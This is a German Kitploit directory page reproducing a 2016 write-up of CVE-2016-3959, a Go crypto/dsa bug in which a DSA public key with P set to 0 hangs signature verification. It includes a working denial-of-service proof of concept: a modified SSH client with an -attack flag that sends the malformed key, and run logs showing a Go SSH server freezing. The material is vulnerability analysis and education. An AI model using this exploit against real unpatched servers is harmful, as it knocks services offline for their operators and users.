Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dsa — Analyse von CVE-2016-3959 und ein Proof-of-Concept-Angriff gegen einen Go-SSH-Server. | Kitploit
Tools/GitHubGitHub/alexmullins/dsa
SchwachstellenanalyseExploitationKryptographiePenetrationstestsLernen & Bildung
GitHubalexmullins/dsa

dsa

Analyse von CVE-2016-3959 und ein Proof-of-Concept-Angriff gegen einen Go-SSH-Server.

Repository anzeigen
112vor 10 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Eine Zusammenfassung der Go-crypto/dsa-Sicherheitslücke (CVE-2016-3959)

Alex Mullins

  1. April 2016

Einleitung

Vor kurzem wurde ein Fehler in der Digital Signature Algorithm (DSA)-Kryptografiebibliothek der Programmiersprache Go entdeckt. In diesem Artikel werden wir die Einzelheiten des Fehlers besprechen und wie ein Angreifer ihn ausnutzen könnte, um einen Denial-of-Service-Angriff gegen einen standardmäßigen Go-SSH-Server zu starten, der die zugrunde liegende DSA-Bibliothek zur Authentifizierung von Clients verwendet.

Die erste Erwähnung dieser Sicherheitslücke erschien in einem Beitrag auf der Open Source Security (oss-sec)-Mailingliste unter http://seclists.org/oss-sec/2016/q2/11.

Go hat eine Endlosschleife in mehreren Big-Integer-Routinen, die Go-Programme anfällig für Remote-Denial-of-Service-Angriffe macht. Programme, die HTTPS-Client-Authentifizierung oder die Go-SSH-Serverbibliotheken verwenden, sind beide dieser Sicherheitslücke ausgesetzt. Dies wird im folgenden CL behoben: https://golang.org/cl/21533

-- Jason Buberel

Zusammenfassend gesagt, wenn diese Sicherheitslücke ausgenutzt würde, könnte sie zu einer Endlosschleife im zugrunde liegenden BigNum-Bibliothekscode führen. Dies würde Systemressourcen in Bezug auf CPU und Arbeitsspeicher verbrauchen und könnte schließlich dazu führen, dass das Programm oder das System selbst nicht mehr reagiert.

Die obige Aussage besagt, dass SSH zusammen mit HTTPS-Client-Authentifizierung betroffen ist, aber nach einem Blick auf die crypto/tls- und net/http-Pakete von Go scheint dies falsch zu sein. Die HTTPS-Client-Authentifizierung kann entweder RSA- oder ECDSA-Signaturverfahren verwenden, aber nicht DSA. Siehe unten. Wenn ich damit falsch liege, lassen Sie es mich bitte wissen.

https://golang.org/pkg/crypto/tls/#Certificate

Tool herunterladen
root@kitploit:~
type Certificate struct {
        Certificate [][]byte
        // PrivateKey contains the private key corresponding to the public key
        // in Leaf. For a server, this must implement crypto.Signer and/or
        // crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
        // (performing client authentication), this must be a crypto.Signer
        // with an RSA or ECDSA PublicKey.
        PrivateKey crypto.PrivateKey

        ... other fields
}

Nicht lange nachdem dieser Beitrag auf der oss-sec-Mailingliste erschien, wurde eine CVE-Nummer vergeben: CVE-2016-3959. Die Go-Entwickler haben einen Fix dafür bereit, der in den Versionen 1.5.4 und 1.6.1 erscheinen wird, die am Mittwoch, den 13. April 2016 veröffentlicht werden sollen; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g.

Um den Codebeispielen in diesem Artikel folgen zu können, benötigen Sie Go Version 1.6 installiert. Folgen Sie der Anleitung unter https://golang.org/doc/install. Wenn Sie dieses Dokument und die Codebeispiele herunterladen möchten, benötigen Sie auch Git installiert. Folgen Sie den Anweisungen unter https://git-scm.com/book/en/v2/Getting-Started-Installing-Git. Um das Repository zu klonen, geben Sie den folgenden Befehl in einem Terminal ein:

root@kitploit:~
$ go get github.com/alexmullins/dsa

Dadurch wird das Repository in Ihren Go-Workspace geklont.

Der nächste Abschnitt behandelt die Einzelheiten der Sicherheitslücke.

Der Fehler

Also, was genau ist falsch? Um das zu beantworten, muss man zur ursprünglichen Ankündigung auf der oss-sec-Mailingliste zurückgehen. Dort gibt es nicht viele Informationen, außer einer allgemeinen Erklärung des Problems und einem Link zum Code-Fix unter https://golang.org/cl/21533. Die Commit-Nachricht für diese Änderung enthält Folgendes:

crypto/dsa: ungültigen PublicKey frühzeitig eliminieren

Für PublicKey.P == 0 wird Verify fehlschlagen. Versuchen Sie es gar nicht erst.

--- Robert Griesemer

und der korrigierte Code:

https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247

root@kitploit:~
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
    // FIPS 186-3, section 4.7

    // Code fix added to check if the key parameters are sensible.
    if pub.P.Sign() == 0 {
        return false
    }

    if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
        return false
    }
    if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
        return false
    }

    w := new(big.Int).ModInverse(s, pub.Q)

    n := pub.Q.BitLen()
    if n&7 != 0 {
        return false
    }
    z := new(big.Int).SetBytes(hash)

    u1 := new(big.Int).Mul(z, w)
    u1.Mod(u1, pub.Q)
    u2 := w.Mul(r, w)
    u2.Mod(u2, pub.Q)
    v := u1.Exp(pub.G, u1, pub.P)
    u2.Exp(pub.Y, u2, pub.P)
    v.Mul(v, u2)
    v.Mod(v, pub.P)
    v.Mod(v, pub.Q)

    return v.Cmp(r) == 0
}

Um die Commit-Nachricht und den obigen Code-Fix zusammenzufassen: In Go 1.6 und früheren Versionen gibt es einen Fehler in der Verify-Funktion des crypto/dsa-Pakets. Wenn jemand Verify mit dem öffentlichen Schlüsselparameter P = 0 aufruft, führt dies zu einer Endlosschleife in einer der weiter unten in der Verify-Funktion stehenden Anweisungen.

Ein kurzer Exkurs zur Erklärung von DSA. DSA ist ein digitaler Signaturalgorithmus, der asymmetrische Kryptografie verwendet, um eine Nachricht zu signieren, die später verwendet werden kann, um zu garantieren, dass die Nachricht tatsächlich vom Sender/Inhaber des privaten Schlüssels gesendet wurde. Ein einfaches Beispiel: Alice sendet Bob eine Nachricht, in der sie ihm mitteilt, wo und wann sie sich zum Mittagessen treffen sollen. Bob möchte jedoch sicher sein, dass Alice wirklich diejenige ist, die ihm die Nachricht gesendet hat, und nicht jemand anderes. Dazu signiert Alice die Nachricht mit ihrem privaten Schlüssel, und Bob kann Alices Signatur mit ihrem öffentlichen Schlüssel überprüfen, den Bob kennt. Niemand außer dem Inhaber des privaten Schlüssels kann eine Nachricht signieren, die dann mit dem entsprechenden öffentlichen Schlüssel verifiziert werden kann (das ist zumindest die Idee).

Damit DSA funktioniert, werden 5 große Zahlen benötigt. Die ersten 3 Zahlen werden als die DSA-Parameter P, Q und G bezeichnet. Diese definieren die zugrunde liegende Gruppe und den Gruppengenerator. Diese Zahlen können ordnungsgemäß mit einem Aufruf von dsa.GenerateParameters() erstellt werden.

root@kitploit:~
type Parameters struct {
        P, Q, G *big.Int
}

Die letzten beiden Zahlen, die für DSA benötigt werden, sind der private Schlüssel X und der entsprechende öffentliche Schlüssel Y. Diese Zahlen können auch mit einem Aufruf von dsa.GenerateKey() erstellt werden.

root@kitploit:~
type PrivateKey struct {
        PublicKey
        X *big.Int
}

type PublicKey struct {
        Parameters
        Y *big.Int
}

Das ist alles, was Sie über DSA wissen müssen, um folgen zu können. Weitere Informationen finden Sie im NIST-Standard: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf oder auf der Wikipedia-Seite: https://en.wikipedia.org/wiki/Digital_Signature_Algorithm.

Zurück zum Thema; wo befindet sich die Endlosschleife in der Verify-Funktion? Mit ein wenig tieferem Graben werden Sie feststellen, dass der Code bei Folgendem hängt:

root@kitploit:~
v := u1.Exp(pub.G, u1, pub.P)

Dies ist der Kommentar für die Exp()-Methode:

root@kitploit:~
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {

Aus dem obigen Kommentar geht hervor, dass wenn m == 0 ist, die Potenzierung ohne modulare Reduktion durchgeführt wird. Wenn Sie eine große Zahl mit einer anderen großen Zahl potenzieren, wird das Ergebnis ebenfalls eine SEHR GROSSE Zahl sein. Ich bin nicht allzu vertraut mit der Funktionsweise von math/big, aber ich denke, das ist es, was hier passiert. Exp() arbeitet an dieser Potenzierung, die sehr, sehr lange dauern wird (könnte genauso gut unendlich sein).

Hier sind einige Beispiele für Zahlen, die in einem dsa.Verify()-Aufruf von Exp() verwendet werden, die aus dem unten stehenden Testcode stammen:

root@kitploit:~
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 digits)

y = 751336012463178371212581620103057049388105279629 (48 digits)

z = x ^ y

Mit Wolfram Alpha kann man einen Eindruck davon bekommen, wie groß diese Zahl z ist. Die resultierende Zahl z hat „113406800566837208055789635448879116719378036793444 oder 1.13407x10^50 Dezimalstellen“. (Anmerkung: Es konnten nur die führenden 150 Stellen von x hoch y im Web-Eingabefeld von Wolfram Alpha verwendet werden, die tatsächliche Anzahl der Stellen ist also noch größer!) Um eine Vorstellung von der Größenordnung zu geben: Wissenschaftler schätzen die Anzahl der Atome im Universum auf nahe 10^78 bis 10^82 http://www.universetoday.com/36302/atoms-in-the-universe/.

Beispieltest für DSA-Signieren/Verifizieren:

root@kitploit:~
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
    // Create the DSA parameters
    params := dsa.Parameters{}
    err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160)
    if err != nil {
        t.Fatalf("failed to generate dsa parameters: %v", err)
    }

    // Create the DSA private/public keys
    priv := new(dsa.PrivateKey)
    priv.Parameters = params
    err = dsa.GenerateKey(priv, rand.Reader)
    if err != nil {
        t.Fatalf("failed to generate dsa keys: %v", err)
    }
    return priv
}

func TestDSASignature(t *testing.T) {
    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test
PASS
ok      github.com/alexmullins/dsa    0.224s

Beispieltest mit P auf 0 gesetzt:

root@kitploit:~
func TestDSAPanic(t *testing.T) {
    flag.Parse()
    if !*fail {
        t.Skip()
    }

    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    // Set P = 0
    priv.P = new(big.Int).SetInt64(0)

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test -fail

Beachten Sie, dass dieser letzte Testaufruf hängen bleibt.

Ausnutzung

Wie kann jemand dies ausnutzen? Wenn ein Angreifer es irgendwie schafft, dass ein Server einen fehlerhaften DSA-Schlüssel akzeptiert und verwendet, um eine Signatur zu verifizieren, kann er den Server dazu bringen, in einem großen Potenzierungsproblem stecken zu bleiben und dadurch einen Denial-of-Service (DOS) zu verursachen. Da SSH DSA als Signaturverfahren in seinem Client-Authentifizierungsprotokoll verwendet, scheint dies ein perfekter Serverkandidat zu sein, um diesen Exploit auszuprobieren. Stellen wir uns ein Szenario vor, in dem dies passieren könnte.

Ein kleiner Git-Hosting-Anbieter erlaubt seinen Benutzern, sich mit SSH-Schlüsseln bei seinem Dienst zu authentifizieren, und sein SSH-Server ist in Go programmiert. Um diesen Dienst lahmzulegen, könnte ein Angreifer zahlreiche gefälschte Konten erstellen und fehlerhafte DSA-Schlüssel für die SSH-Authentifizierung hochladen. Alle diese Schlüssel haben ihren Parameter P auf 0 gesetzt. Ein Angreifer könnte dann hunderte solcher SSH-Client-Verbindungen zum Server starten, was dazu führt, dass Systemressourcen blockiert werden und ein effektiver DOS eintritt.

Testen wir dieses Szenario.

Der Server

Der Server ist ein einfacher SSH-Server, der Sitzungsanfragen akzeptiert und die aktuelle Uhrzeit an die Verbindung ausgibt. Dank an github.com/jpillora für die Bereitstellung dieses Beispielservercodes unter https://gist.github.com/jpillora/b480fde82bff51a06238. Es wurden einige Anpassungen am Code vorgenommen, um eine Public-Key-Authentifizierung anstelle von Passwort-Callbacks zu ermöglichen.

root@kitploit:~
config := &ssh.ServerConfig{
    // Accept all authentication requests
    PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
        return nil, nil
    },
}

Dies akzeptiert alle Public-Key-Authentifizierungsanfragen. Stellen Sie sich einen echten Dienst vor, der eine Datenbank abfragt, um festzustellen, ob ein bestimmter Benutzer diesen öffentlichen Schlüssel unter seinem Konto registriert hat. Der Server sieht wie ein sehr normaler Go-Server aus, der auf einem Port lauscht und eingehende Verbindungen akzeptiert.

root@kitploit:~
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
    log.Fatalf("Failed to listen on %s: %s", *addr, err)
}

// Accept all connections
log.Println("Listening on", *addr)
for {
    tcpConn, err := listener.Accept()
    if err != nil {
        log.Printf("Failed to accept incoming connection (%s)", err)
        return
    }
    log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
    if *p {
        go makeSSHConn(tcpConn, config)
    } else {
        makeSSHConn(tcpConn, config)
    }

}

func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
    // Before use, a handshake must be performed on the incoming net.Conn.
    sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
    if err != nil {
        log.Printf("Failed to handshake (%s)", err)
        return
    }

    log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
    // Discard all global out-of-band Requests
    go ssh.DiscardRequests(reqs)
    // Accept all channels
    go handleChannels(chans)
}

Eine Sache, die auffällt, ist die Überprüfung if *p. Diese entspricht dem Flag -p und steuert, ob der Server den SSH-Handshake im Haupt-Goroutine oder in einem Hintergrund-Goroutine durchführt. Viele Online-Beispiele verwenden Ersteres. Das Flag -p wird später im Angriffsabschnitt den Unterschied zeigen, den eine blockierende Operation auf die Leistung eines Netzwerkservers haben kann.

Der Client

Der Client-Code ist etwas aufwändiger. Er erfordert Änderungen an der Go-SSH-Bibliothek, um das Senden eines fehlerhaften DSA-Schlüssels zu ermöglichen. Die SSH-Bibliothek wurde in das Client-Paket vendored. Beachten Sie, dass der Server-Code zu 100 % unverändert ist und das normale Paket golang.org/x/crypto/ssh aus dem Workspace importiert.

Der Client arbeitet in zwei verschiedenen Modi, die durch ein Kommandozeilen-Flag namens -attack gesteuert werden. Wenn der Client normal gestartet wird, baut er eine normale SSH-Verbindung zum Server auf und liest alle paar Sekunden die Serverzeit. Wenn jedoch das Flag -attack vorhanden ist, sendet der Client eine Authentifizierungsanfrage mit einem fehlerhaften DSA-öffentlichen Schlüssel an den Server. Relevante Code-Teile:

root@kitploit:~
func init() {
    flag.Parse()
    if *attack {
        ssh.Attack = true
    }
    if *key == "" {
        log.Fatalln("must provide a auth key.")
    }
}

Beachten Sie, dass eine neue Variable ssh.Attack im vendored SSH-Paket erstellt wurde und auf true gesetzt wird, wenn das Flag -attack vorhanden ist. ssh.Attack ändert den DSA-Public-Key-Marshalling-Code des SSH-Pakets, um den P-Parameter durch 0 zu ersetzen. Sie finden beide Änderungen in den Dateien attack.go und keys.go im vendored SSH-Paket.

root@kitploit:~
// attack.go
var (
    // Attack should be set to true to send a malformed DSA key.
    Attack = false
)

// keys.go
func (k *dsaPublicKey) Marshal() []byte {
    x := k.P
    if Attack {
        x = big.NewInt(0)
    }
    w := struct {
        Name       string
        P, Q, G, Y *big.Int
    }{
        k.Type(),
        x,
        k.Q,
        k.G,
        k.Y,
    }

    return Marshal(&w)
}

Der Angriff

Der Angriff hat je nachdem, ob der Server mit dem Flag -p gestartet wurde, unterschiedliche Auswirkungen.

Um den Server zu bauen, wechseln Sie in das Server-Verzeichnis und führen Sie aus: go build -o server . Machen Sie dasselbe für den Client: go build -o client . Es gibt Test-RSA- und DSA-Schlüssel in den Verzeichnissen data des Servers und des Clients. Wenn Sie neue erstellen möchten, verwenden Sie ssh-keygen.

Server – Haupt-Goroutine

Wenn der Server ohne das Flag -p gestartet wurde, kann ein einziger angreifender Client den Server vollständig einfrieren, und es können keine neuen Verbindungen mehr angenommen werden. Dies liegt daran, dass der Aufruf von ssh.NewServerConn() im Haupt-Goroutine ausgeführt wird und im Aufruf von dsa.Verify() für die Client-Authentifizierung stecken bleibt, wodurch weitere listener.Accept()-Aufrufe blockiert werden. Beim Schreiben von Netzwerkservern ist es wichtig, die Accept-Schleife reaktionsfähig zu halten und blockierende Operationen in einen Hintergrund-Goroutine auszulagern.

Starten Sie den Server normal mit:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022

Starten Sie in einem anderen Terminal einen normalen Client, der einen korrekten DSA-Schlüssel zur Authentifizierung an den Server sendet:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016

Wechseln Sie zurück zum Server und sehen Sie, dass er die TCP-Verbindung akzeptiert und eine SSH-Verbindung erstellt hat:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)

Jetzt ist es an der Zeit, in einem anderen Terminal einen angreifenden Client zu starten. Dieser sendet denselben DSA-Schlüssel wie ein normaler Client, aber mit dem Parameter P auf 0 gesetzt:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Beachten Sie, dass der Client ohne eine 'connected'-Nachricht hängt und es keine Protokolle der Serverzeit gibt. Der Server hat auch keine SSH-Verbindung protokolliert, aber er hat die TCP-Verbindung akzeptiert. Der Server steckt jetzt im Aufruf von dsa.Verify() fest:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521

Versuchen Sie, einen weiteren normalen Client zu verbinden; dieser kann sich jetzt ebenfalls nicht verbinden:

root@kitploit:~
$ ./client -key=./data/id_dsa

Der ursprüngliche Client kann jedoch weiterhin Antworten vom Server empfangen.

Server – Hintergrund-Goroutine

Wenn der Server mit dem Flag -p gestartet wurde, kann er weiterhin normale Client-Verbindungen akzeptieren, da die SSH-Verbindungen des Angreifers in Hintergrund-Goroutines gebunden sind, anstatt die Accept-Schleife im Haupt-Goroutine zu blockieren. Dies führt nicht sofort zu einem DOS, verbraucht aber kontinuierlich CPU- und Arbeitsspeicherressourcen des Servers, was zu einem langsamen Tod führt.

Starten wir den Server erneut, diesmal mit dem Flag -p:

root@kitploit:~
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022

Starten Sie nun wie zuvor einen angreifenden Client:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Beachten Sie, dass der Server wiederum keine SSH-Verbindung protokolliert hat, aber versuchen wir, einen regulären Client zu verbinden:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016

Hey, es verbindet sich! Aber ein Angreifer müsste nur ein paar weitere schädliche Client-Verbindungen starten, und die CPU- und RAM-Auslastung des Servers würde in die Höhe schießen. Mit 4 angreifenden Clients konnte ich ~400 % CPU und 1 GB RAM-Verbrauch erreichen, bevor ich aufhören musste, weil mein Laptop etwas heiß wurde. Unter normalen Bedingungen mit nur 2 normalen Clients, die mit dem Server verbunden waren, lag meine CPU bei etwa 0,2 % und der RAM-Verbrauch bei 5-6 MB. Ein ziemlicher Unterschied.

Schlussfolgerung

Zusammenfassend lässt sich sagen, dass diese Sicherheitslücke ausgenutzt werden kann, um einen Denial-of-Service zu verursachen. Unter Verwendung des obigen Szenarios ergab der CVE-Score-Rechner https://nvd.nist.gov/CVSS/v2-calculator eine Bewertung von 3,5/10. Es gibt keine Auswirkungen auf die Vertraulichkeit oder Integrität, nur eine teilweise/vollständige Auswirkung auf die Verfügbarkeit.

Ein Blick auf godoc.org zeigt, dass es derzeit 164 Pakete gibt, die crypto/dsa importieren, https://godoc.org/crypto/dsa?importers. Es wird empfohlen, auf das Sicherheits-Release unter https://golang.org/dl/ zu aktualisieren.

Insgesamt war dies eine lehrreiche Erfahrung. Falls es Fehler oder Verbesserungsmöglichkeiten gibt, lassen Sie es mich bitte wissen. Danke fürs Lesen.